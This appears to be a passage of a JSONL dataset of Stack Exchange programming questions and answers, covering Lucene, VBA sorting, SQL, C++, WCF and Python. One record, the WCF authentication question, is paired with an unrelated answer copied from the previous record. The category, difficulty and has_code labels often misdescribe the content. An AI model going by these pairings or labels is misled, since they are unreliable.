"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.216096"}
{"id": "hf_03c51667a11f", "question": "<p>How can I set points on a 24h period spreaded by the Gaussian distributions? For example to have the peak at 10 o'clock?</p>\n", "question_body": "", "answer": "If you have trouble generating gaussian distributed random points look up\nhttp://en.wikipedia.org/wiki/Box-Muller_transform\nElse please clarify your question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.250603"}
{"id": "hf_b633b1c44981", "question": "<p>I am trying to use Lucene Java 2.3.2 to implement search on a catalog of products. Apart from the regular fields for a product, there is field called 'Category'. A product can fall in multiple categories. Currently, I use FilteredQuery to search for the same search term with every Category to get the number of results per category.</p>\n\n<p>This results in 20-30 internal search calls per query to display the results. This is slowing down the search considerably. Is there a faster way of achieving the same result using Lucene?</p>\n", "question_body": "", "answer": "You may want to consider looking through all the documents that match categories using a\nTermDocs iterator\n.\nThis example code goes through each \"Category\" term, and then counts the number of documents that match that term.\n```\n```\npublic static void countDocumentsInCategories(IndexReader reader) throws IOException {\n    TermEnum terms = null;\n    TermDocs td = null;\n\n    try {\n        terms = reader.terms(new Term(\"Category\", \"\"));\n        td = reader.termDocs();\n        do {\n            Term currentTerm = terms.term();\n\n            if (!currentTerm.field().equals(\"Category\")) {\n                break;\n            }\n\n            int numDocs = 0;\n            td.seek(terms);\n            while (td.next()) {\n                numDocs++;\n            }\n\n            System.out.println(currentTerm.field() + \" : \" + currentTerm.text() + \" --> \" + numDocs);\n        } while (terms.next());\n    } finally {\n        if (td != null) td.close();\n        if (terms != null) terms.close();\n    }\n}\n```\n```\nThis code should run reasonably fast even for large indexes.\nHere is some code that tests that method:\n```\n```\npublic static void main(String[] args) throws Exception {\n    RAMDirectory store = new RAMDirectory();\n\n    IndexWriter w = new IndexWriter(store, new StandardAnalyzer());\n    addDocument(w, 1, \"Apple\", \"fruit\", \"computer\");\n    addDocument(w, 2, \"Orange\", \"fruit\", \"colour\");\n    addDocument(w, 3, \"Dell\", \"computer\");\n    addDocument(w, 4, \"Cumquat\", \"fruit\");\n    w.close();\n\n    IndexReader r = IndexReader.open(store);\n    countDocumentsInCategories(r);\n    r.close();\n}\n\nprivate static void addDocument(IndexWriter w, int id, String name, String... categories) throws IOException {\n    Document d = new Document();\n    d.add(new Field(\"ID\", String.valueOf(id), Field.Store.YES, Field.Index.UN_TOKENIZED));\n    d.add(new Field(\"Name\", name, Field.Store.NO, Field.Index.UN_TOKENIZED));\n\n    for (String category : categories) {\n        d.add(new Field(\"Category\", category, Field.Store.NO, Field.Index.UN_TOKENIZED));\n    }\n\n    w.addDocument(d);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.302173"}
{"id": "hf_d5211a49eed8", "question": "<p>I don't need a Link but rather only the href= part of the ActionLink.</p>\n\n<p>But if I call Html.ActionLink(...) I get a  back. \nIs there a way to just return the URL of the Action while not getting the ?</p>\n", "question_body": "", "answer": "Edit: in response to commment, now including parameters:\n```\n```\n<% =Html.BuildUrlFromExpression<YourController>(c => c.YourAction(parameter)) %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.341823"}
{"id": "hf_85581e361d87", "question": "<p>Has anyone used the <a href=\"http://www.cs.tufts.edu/~nr/noweb/\" rel=\"noreferrer\">noweb</a> literate programming tool on a large Java project, where several source code files must be generated in different subdirectories? How did you manage this with noweb? Are there any resources and/or best practices out there?</p>\n", "question_body": "", "answer": "Literate Programming works its best if the generated intermediate code can point back to the original source file to allow debugging, and analyzing compiler errors.  This usually means pre processor support, which Java doesn't support.\nAdditionally Literate Programming is really not necessary for Java, as the original need for a strict sequential order - which was what prompted Knuth to write a tool to put snippets together in the appropriate sequence - is not present.    The final benefit of literate programming, namely being able to write prose about the code, is also available as Javadoc which allow you to put everything in as comments.\nTo me, there is no benefit in literate programming for Java, and only troubles (just imagine getting IDE support).\nAny particular reason you are considering it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.376124"}
{"id": "hf_b9dbf821d9a8", "question": "<p>What type of authentication would you suggest for the service that is:</p>\n\n<ul>\n<li>implemented as WCF and exposed via\nvarios enpoints (including XML-RPC)</li>\n<li>has to be consumed easily by various cross-platform clients</li>\n</ul>\n\n<p>Why?</p>\n\n<p>Options that I'm aware of are:</p>\n\n<ul>\n<li>Forms-based authentication for IIS-hosted WCF (easy to implement, but has horrible cross-platform support, plus it is not REST)</li>\n<li>Sending plain-text username/pwd with every call (easy to use on any platform, but totally unsecure)</li>\n<li>Using ticket-based authentication, when username&amp;pwd are used to create a ticket that is valid for some time and is passed with every request (can be consumed by any client easily, but the API model is bound to this type of security)</li>\n</ul>\n\n<p>Thanks for your time!</p>\n", "question_body": "", "answer": "Literate Programming works its best if the generated intermediate code can point back to the original source file to allow debugging, and analyzing compiler errors.  This usually means pre processor support, which Java doesn't support.\nAdditionally Literate Programming is really not necessary for Java, as the original need for a strict sequential order - which was what prompted Knuth to write a tool to put snippets together in the appropriate sequence - is not present.    The final benefit of literate programming, namely being able to write prose about the code, is also available as Javadoc which allow you to put everything in as comments.\nTo me, there is no benefit in literate programming for Java, and only troubles (just imagine getting IDE support).\nAny particular reason you are considering it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.399468"}
{"id": "hf_2048162d1d06", "question": "<p>I have read in some of the ClickOnce posts that ClickOnce does not allow you to create a desktop icon for you application. Is there any way around this?</p>\n", "question_body": "", "answer": "The desktop icon can be a shortcut to the\n```\n.application\n```\nfile. Install this as one of the first things your application does.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.423302"}
{"id": "hf_594aa1ec287c", "question": "<p>I'm working on a Java library and would like to remove some functions from it. My reasons for this is public API and design cleanup. Some objects have setters, but should be immutable, some functionality has been implemented better/cleaner in different methods, etc.</p>\n\n<p>I have marked these methods 'deprecated', and would like to remove them eventually. At the moment I'm thinking about removing these after few sprints (two week development cycles).</p>\n\n<p>Are there any 'best practices' about removing redundant public code?</p>\n\n<p>/JaanusSiim </p>\n", "question_body": "", "answer": "Use\n@deprecated\ntag. Read the\nDeprecation of APIs\ndocument for more info.\nAfter everyone using the code tells you they have cleaned up on their side, start removing the deprecated code and wait and see if someone complains - then tell them to fix their own code...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.470833"}
{"id": "hf_884a2ac59929", "question": "<p>Here's the problem:</p>\n\n<pre><code>split=re.compile('\\\\W*')\n</code></pre>\n\n<p>This regular expression works fine when dealing with regular words, but there are occasions where I need the expression to include words like <code>k&amp;amp;auml;ytt&amp;amp;auml;j&amp;aml;auml;</code>.</p>\n\n<p>What should I add to the regex to include the <code>&amp;</code> and <code>;</code> characters?</p>\n", "question_body": "", "answer": "You probably want to take the problem reverse, i.e. finding all the character without the spaces:\n```\n```\n[^ \\t\\n]*\n```\n```\nOr you want to add the extra characters:\n```\n```\n[a-zA-Z0-9&;]*\n```\n```\nIn case you want to match HTML entities, you should try something like:\n```\n```\n(\\w+|&\\w+;)*\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.506669"}
{"id": "hf_7335b3a09f5e", "question": "<p>Can someone point me in the right direction? I wish to distribute a WCF peer to peer cloud over the internet. So far I've seen examples of how it works on the same subnet. I wish to push it a little further.</p>\n", "question_body": "", "answer": "I believe you'll need to look into using\nIPV6 Teredo Tunneling\nfor crossing NAT and firewalls, so maybe check out this on\nWCF transports\nfrom MSDN.\nAlso, take a look at the\nPRNP series\nKevn Hoffman did this year.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.531729"}
{"id": "hf_09ff2c05c41f", "question": "<p>Say if I had a table of books in a MySQL database and I wanted to search the 'title' field for keywords (input by the user in a search field); what's the best way of doing this in PHP? Is the MySQL <code>LIKE</code> command the most efficient way to search?</p>\n", "question_body": "", "answer": "Yes, the most efficient way usually is searching in the database. To do that you have three alternatives:\nLIKE, ILIKE\nto match exact substrings\nRLIKE\nto match POSIX regexes\nFULLTEXT\nindexes to match another three different kinds of search aimed at natural language processing\nSo it depends on what will you be actually searching for to decide what would the best be. For book titles I'd offer a LIKE search for exact substring match, useful when people know the book they're looking for and also a FULLTEXT search to help find titles similar to a word or phrase. I'd give them different names on the interface of course, probably something like exact for the substring search and similar for the fulltext search.\nAn example about fulltext:\nhttp://www.onlamp.com/pub/a/onlamp/2003/06/26/fulltext.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.613978"}
{"id": "hf_f02efd58ea53", "question": "<p>I have a Delphi DLL with a function defined as:</p>\n\n<p>function SubmitJobStringList(joblist: tStringList; var jobno: Integer): Integer;</p>\n\n<p>I am calling this from C#. How do I declare the first parameter as a tStringList does not exist in C#. I currently have the declaration as:</p>\n\n<pre><code>[DllImport(\"opt7bja.dll\", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]\npublic static extern int SubmitJobStringList(string[] tStringList, ref int jobno);\n</code></pre>\n\n<p>But when I call it I get a memory access violation exception.</p>\n\n<p>Anyone know how to pass to a tStringList correctly from C#?</p>\n", "question_body": "", "answer": "You'll most likely not have any luck with this. The TStringList is more than just an array, it's a full-blown class, and the exact implementation details may differ from what is possible with .NET. Take a look at the Delphi VCL source code (that is, if you have it) and try to find out if you can rebuild the class in C#, and pass it with the help of your best friend, the Interop Marshaller. Note that even the Delphi string type is different from the .NET string type, and passing it without telling the marshaller what he should do, he will pass it as a char-array, most likely.\nOther than that, I would suggest changing the Delphi DLL. It's never a good thing to expose anything Delphi-specific in a DLL that is to be used by non-Delphi clients. Make the parameter an array of PChar and you should be fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.638055"}
{"id": "hf_64693ce60078", "question": "<p>I am about to set up a subversion server to be accessed via svn+ssh. I was wondering, where the <em>default</em> repository location is (on a unix box).</p>\n\n<p>Do you put it in</p>\n\n<pre><code>/opt/svn\n</code></pre>\n\n<p>or</p>\n\n<pre><code>/home/svn\n</code></pre>\n\n<p>or</p>\n\n<pre><code>/usr/subversion\n</code></pre>\n\n<p>or even</p>\n\n<pre><code>/svn\n</code></pre>\n\n<p>or somewhere else?</p>\n\n<p>I am looking for the place, most people put it. Is there a convention?</p>\n\n<p>EDIT:</p>\n\n<p>It is absolutely possible to \"hide\" the actual repository location from the user. For example (in my case) by wrapping the <code>svnserve</code> executable in a way that it is called like:</p>\n\n<pre><code>svnserve -r /var/svn/repos\n</code></pre>\n", "question_body": "", "answer": "I typically place the repositories somewhere under\n```\n/var\n```\n, usually in\n```\n/var/lib/svn\n```\n- I'm trying to follow the\nFilesystem Hierarchy Standard\nwhich has this to say about the\npurpose of /var\n:\n```\n/var\n```\nis specified here in order to make it possible to mount\n```\n/usr\n```\nread-only. Everything that once went into\n```\n/usr\n```\nthat is written to during system operation (as opposed to installation and software maintenance) must be in\n```\n/var\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.695140"}
{"id": "hf_2d7a55a3dffc", "question": "<p>Why isn't this project maintained anymore?  I love this app, however not updating it seems like a crime against all .Net developers. There are several items that I would love to add to it given the chance of a future release.  </p>\n\n<p>Can anyone share something I don't know?</p>\n", "question_body": "", "answer": "http://nunit.org\nshows that the latest release is 2.4.8, released on July 21, 2008. It looks like it's still an active project to me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.719338"}
{"id": "hf_cf44cf7bef9d", "question": "<p>I'm looking for a decent sort implementation for arrays in VBA. A Quicksort would be preferred. Or any other <a href=\"http://web.archive.org/web/20180224071555/http://www.cs.ubc.ca:80/~harrison/Java/sorting-demo.html\" rel=\"noreferrer\">sort algorithm</a> other than bubble or merge would suffice.</p>\n\n<p>Please note that this is to work with MS Project 2003, so should avoid any of the Excel native functions and anything .net related.</p>\n", "question_body": "", "answer": "Take a look\nhere\n:\nEdit:\nThe referenced source (allexperts.com) has since closed, but here are the relevant\nauthor\ncomments:\nThere are many algorithms available on the web for sorting.  The most versatile and usually the quickest is the\nQuicksort algorithm\n.  Below is a function for it.\nCall it simply by passing an array of values (string or numeric; it doesn't matter) with the\nLower Array Boundary\n(usually\n```\n0\n```\n) and the\nUpper Array Boundary\n(i.e.\n```\nUBound(myArray)\n```\n.)\nExample\n:\n```\nCall QuickSort(myArray, 0, UBound(myArray))\n```\nWhen it's done,\n```\nmyArray\n```\nwill be sorted and you can do what you want with it.\n(Source:\narchive.org\n)\n```\n```\nPublic Sub QuickSort(vArray As Variant, inLow As Long, inHi As Long)\n  Dim pivot   As Variant\n  Dim tmpSwap As Variant\n  Dim tmpLow  As Long\n  Dim tmpHi   As Long\n\n  tmpLow = inLow\n  tmpHi = inHi\n\n  pivot = vArray((inLow + inHi) \\ 2)\n\n  While (tmpLow <= tmpHi)\n     While (vArray(tmpLow) < pivot And tmpLow < inHi)\n        tmpLow = tmpLow + 1\n     Wend\n\n     While (pivot < vArray(tmpHi) And tmpHi > inLow)\n        tmpHi = tmpHi - 1\n     Wend\n\n     If (tmpLow <= tmpHi) Then\n        tmpSwap = vArray(tmpLow)\n        vArray(tmpLow) = vArray(tmpHi)\n        vArray(tmpHi) = tmpSwap\n        tmpLow = tmpLow + 1\n        tmpHi = tmpHi - 1\n     End If\n  Wend\n\n  If (inLow < tmpHi) Then QuickSort vArray, inLow, tmpHi\n  If (tmpLow < inHi) Then QuickSort vArray, tmpLow, inHi\nEnd Sub\n```\n```\nNote that this only works with\nsingle-dimensional\n(aka \"normal\"?) arrays.  (There's a working multi-dimensional array QuickSort\nhere\n.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.781446"}
{"id": "hf_36dd9baae460", "question": "<p>I would like to send mail from a script on a Windows Server 2003 Standard Edition. I think the server setup is pretty much out of the box.</p>\n\n<p>The mail server is an Exchange one, and when you're on the internal network you can use plain old SMTP. I have done it from my machine with Perl, but unfortunately Perl is not available on the server.</p>\n\n<p>Is there an easy way of doing this from a .bat-file or any other way that doesn't require installing some additional software?</p>\n\n<p><code>Edit:</code><br>\nThanks for the quick replies. The \"blat\" thingie would probably work fine but with wscript I don't have to use a separate binary.</p>\n\n<p>I didn't see PhiLho's post the first time I edited and selected an answer. No need for me to duplicate the code here.</p>\n\n<p>Just save the script to a file, say sendmail.vbs, and then call it from the command prompt like so:<br>\n<code>wscript sendmail.vbs</code></p>\n", "question_body": "", "answer": "I think that you'll have to install some ActiveX or other component what could be invoked from WScript, such as:\nhttp://www.activexperts.com/ActivEmail/\nand:\nhttp://www.emailarchitect.net/webapp/SMTPCOM/developers/scripting.asp\nOtherwise, you'll have to write the entire SMTP logic (if possible, not sure) in WScript all on your own.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.806665"}
{"id": "hf_866bfc1befc3", "question": "<p>How to unit test WCF services? Any 3rd Party tools available?</p>\n", "question_body": "", "answer": "What exactly do you want to test? Connectivity or service methods?\nCool thing about WCF is that you can just define interfaces (err, contracts) and test them as regular code. Then you can assume that they will work via any connection type supported by WCF.\nConnectivity can be tested by hosting your service directly in UT or on development web-server.\nAs for tools, you there are tons of unit testing frameworks: NUnit, built-in tests in Visual Studio, xUnit, etc, etc.\nYou can download \"\nVisual Studio 2008 and .NET Framework 3.5 Training Kit\n\" and \"\n.NET Framework 3.5 Enhancements Training Kit\n\" if I recall correctly there were samples for WCF unit tests", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.854734"}
{"id": "hf_1e9f3674af33", "question": "<p>I fill a collection one single time when my J2EE webapp starts.\nThen, several thread may access it at same time but only to read it.</p>\n\n<p>I know using a synchronized collection is mandatory for parallels write but do I still need it for parallels read ?</p>\n", "question_body": "", "answer": "Normally no because you are not changing the internal state of the collection in this case. When you iterate over the collection a new instance of the iterator is created and the state of the iteration is per iterator instance.\nAside note:\nRemember that by keeping a read-only collection you are only preventing modifications to the collection itself. Each collection element is still changeable.\n```\n```\nclass Test {\n    public Test(final int a, final int b) {\n        this.a = a;\n        this.b = b;\n    }\n\n    public int a;\n    public int b;\n}\n\npublic class Main {\n\n    public static void main(String[] args) throws Exception {\n        List<Test> values = new ArrayList<Test>(2);\n        values.add(new Test(1, 2));\n        values.add(new Test(3, 4));\n\n        List<Test> readOnly = Collections.unmodifiableList(values);\n        for (Test t : readOnly) {\n            t.a = 5;\n        }\n\n        for (Test t : values) {\n            System.out.println(t.a);\n        }\n    }\n\n}\n```\n```\nThis outputs:\n```\n```\n5\n5\n```\n```\nImportant considerations from @WMR answser.\nIt depends on if the threads that are\n  reading your collection are started\n  before or after you're filling it. If\n  they're started before you fill it,\n  you have no guarantees (without\n  synchronizing), that these threads\n  will ever see the updated values.\nThe reason for this is the Java Memory\n  Model, if you wanna know more read the\n  section \"Visibility\" at this link:\nhttp://gee.cs.oswego.edu/dl/cpj/jmm.html\nAnd even if the threads are started\n  after you fill your collection, you\n  might have to synchronize because your\n  collection implementation could change\n  its internal state even on read\n  operations (thanks\nMichael\n  Bar-Sinai\n,\n  I didn't know such collections\n  existed).\nAnother very interesting read on the\n  topic of concurrency which covers\n  topics like publishing of objects,\n  visibility, etc. in much more detail\n  is Brian Goetz's book\nJava\n  Concurrency in\n  Practice\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.879516"}
{"id": "hf_a397779bb0c1", "question": "<p>Does anyone have tools or experience with code coverage for PL/SQL. I believe this is possible using DBMS_PROFILER?</p>\n", "question_body": "", "answer": "Not sure if this is quite what you're after, but in 10g onwards there's a tool to do static PL/SQL code analysis.\nInfo here...\nhttp://www.psoug.org/reference/plsql_warnings.html\nNote that it can be enabled at either session or database level.\nIn my experience it's thrown up quite a few false negatives so far.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.007875"}
{"id": "hf_8591c3ac0c6f", "question": "<p>I am actually new to this forum and I kept trying for a few days to find an easy way to copy an entire LDAP subtree to another tree. Since I couldn't find anything useful, i thought of dropping a question here as well. Does anybody know how to do this programatically ?</p>\n\n<p>For normal operations like add, remove, search, I've been using Spring LDAP. </p>\n\n<p>Thanks a lot !</p>\n", "question_body": "", "answer": "I actually don't know Spring LDAP but if your LDAP interface does not provide any high level abstraction for moving/renaming or copying an entire subtree you have to move/rename or copy all subtree nodes recursively. The LDAP API does not provide such an option directly.\nThe following is pseudo-code:\n```\n```\nfunction copySubtree(oldDn, newDn)\n{\n    copyNode(oldDn, newDn); // the new node will be created here\n    if (nodeHasChildren(oldDn) { \n        foreach (nodeGetChildren(oldDn) as childDn) {\n            childRdn=getRdn(childDn); // we have to get the 'local' part, the so called RDN \n            newChildDn=childRdn + ',' + newDn; // the new DN will be the old RDN concatenated with the new parent's DN\n            copySubtree(childDn, newChildDn); // call this function recursively\n        }  \n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.052954"}
{"id": "hf_da301bdea274", "question": "<p>Is there a way to print all methods of an object in JavaScript?</p>\n", "question_body": "", "answer": "From\nhere\n:\nExample 1: This example writes out all the properties of the \"navigator\" object, plus their values:\n```\n```\nfor (var myprop in navigator){\n document.write(myprop+\": \"+navigator[myprop]+\"<br>\")\n}\n```\n```\nJust replace 'navigator' with whatever object you are interested in and you should be good to go.\nAs mentioned by Anthony in the comments section - This returns all attributes not just methods as the question asked for.\nOops!  That'll teach me to try and answer a question in a language I don't know.  Still, I think the code is useful - just not what was required.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.152240"}
{"id": "hf_95a0124004f8", "question": "<p>I have a stored procedure that looks like:</p>\n\n<pre><code>CREATE PROCEDURE dbo.usp_TestFilter\n  @AdditionalFilter BIT = 1\nAS\n  SELECT *\n  FROM dbo.SomeTable T\n  WHERE\n    T.Column1 IS NOT NULL\n    AND CASE WHEN @AdditionalFilter = 1 THEN\n      T.Column2 IS NOT NULL\n</code></pre>\n\n<p>Needless to say, this doesn't work. How can I activate the additional where clause that checks for the @AdditionalFilter parameter? Thanks for any help.</p>\n", "question_body": "", "answer": "```\n```\nCREATE PROCEDURE dbo.usp_TestFilter\n  @AdditionalFilter BIT = 1\nAS\n  SELECT *\n  FROM dbo.SomeTable T\n  WHERE\n    T.Column1 IS NOT NULL\n    AND (NOT @AdditionalFilter OR T.Column2 IS NOT NULL)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.237434"}
{"id": "hf_8a233d329da1", "question": "<p>I've always used a <code>*.h</code> file for my class definitions, but after reading some boost library code, I realised they all use <code>*.hpp</code>. I've always had an aversion to that file extension, I think mainly because I'm not used to it.</p>\n\n<p>What are the advantages and disadvantages of using <code>*.hpp</code> over <code>*.h</code>?</p>\n", "question_body": "", "answer": "It does not matter which extension you use. Either one is OK.\nI use\n```\n*.h\n```\nfor C and\n```\n*.hpp\n```\nfor C++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.262230"}
{"id": "hf_b23800760e03", "question": "<p>How do I check if an object is of a given type, or if it inherits from a given type?</p>\n<p>How do I check if the object <code>o</code> is of type <code>str</code>?</p>\n<hr />\n<p><sub>Beginners often wrongly expect the string to <em>already be</em> &quot;a number&quot; - either expecting Python 3.x <code>input</code> to convert type, or expecting that a string like <code>'1'</code> is <em>also simultaneously</em> an integer. This is the wrong canonical for those questions. Please carefully read the question and then use <a href=\"https://stackoverflow.com/questions/354038\">How do I check if a string represents a number (float or int)?</a>, <a href=\"https://stackoverflow.com/questions/20449427/\">How can I read inputs as numbers?</a> and/or <a href=\"https://stackoverflow.com/questions/23294658/\">Asking the user for input until they give a valid response</a> as appropriate.</sub></p>\n", "question_body": "", "answer": "```\n```\nisinstance(o, str)\n```\n```\nLink to docs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.299350"}
{"id": "hf_48db1d1e08cd", "question": "<p>What is the simplest way to identify and separate GET and POST parameters from a controller in Ruby on Rails, which will be equivalent to $_GET and $_POST variables in PHP?</p>\n", "question_body": "", "answer": "You can use the\n```\nrequest.get?\n```\nand\n```\nrequest.post?\n```\nmethods to distinguish between HTTP Gets and Posts.\nSee\nhttp://api.rubyonrails.org/classes/ActionDispatch/Request.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.336044"}
{"id": "hf_0fd10b22f651", "question": "<p>For an <code>std::map&lt;std::string, std::string&gt; variables</code>, I'd like to do this:</p>\n\n<pre><code>BOOST_CHECK_EQUAL(variables[\"a\"], \"b\");\n</code></pre>\n\n<p>The only problem is, in this context <code>variables</code> is <code>const</code>, so <code>operator[]</code> won't work :(</p>\n\n<p>Now, there are several workarounds to this; casting away the <code>const</code>, using <code>variables.count(\"a\") ? variables.find(\"a\")-&gt;second : std::string()</code> or even making a function wrapping that. None of these seem to me to be as nice as <code>operator[]</code>. What should I do? Is there a standard way of doing this (beautifully)?</p>\n\n<p><strong>Edit:</strong> Just to state the answer that none of you want to give: No, there is no convenient, beautiful, standard way of doing this in C++. I will have to implement a support function.</p>\n", "question_body": "", "answer": "```\nfind\n```\nis the idiomatic form. Casting away\n```\nconst\n```\nis almost always a bad idea. You'd have to guarantee that no write operation is performed. While this can be reasonably expected of a read access on a map, the specification doesn't say anything about this.\nIf you\nknow\nthat the value exists you can of course forego the test using\n```\ncount\n```\n(which is quite inefficient, anyway, since it means traversing the map twice. Even if you don't know whether the element exists I wouldn't use this. Use the following instead:\n```\n```\nT const& item(map<TKey, T> const& m, TKey const& key, T const& def = T()) {\n    map<TKey, T>::const_iterator i = m.find(key);\n    return i == m.end() ? def : i->second;\n}\n```\n```\n/EDIT: As Chris has correctly pointed out, default-construction of objects of type\n```\nT\n```\nmight\nbe expensive, especially since this is done even if this object isn't actually needed (because the entry exists). If this is the case, don't use the default value for the\n```\ndef\n```\nargument in the above case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.420474"}
{"id": "hf_58386ed1adc0", "question": "<p>I have many items inside a list control. I want each item to have a different item template depending on the type of the item. So the first item in the list is a ObjectA type and so I want it to be rendered with ItemTemplateA. Second item is a ObjectB type and so I want it to have ItemTemplateB for rendering. At the moment I can only use the ItemTemplate setting to define one template for them all. Any way to achieve this?</p>\n", "question_body": "", "answer": "Have a look at the\nItemTemplateSelector\nproperty of your list control. You can point it to a custom TemplateSelector and decide which template to use in code.\nHere's a blog post describing TemplateSelectors:\nhttp://blogs.interknowlogy.com/johnbowen/archive/2007/06/21/20463.aspx\nEdit: Here's a better post:\nhttp://blog.paranoidferret.com/index.php/2008/07/16/wpf-tutorial-how-to-use-a-datatemplateselector/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:00.445004"}
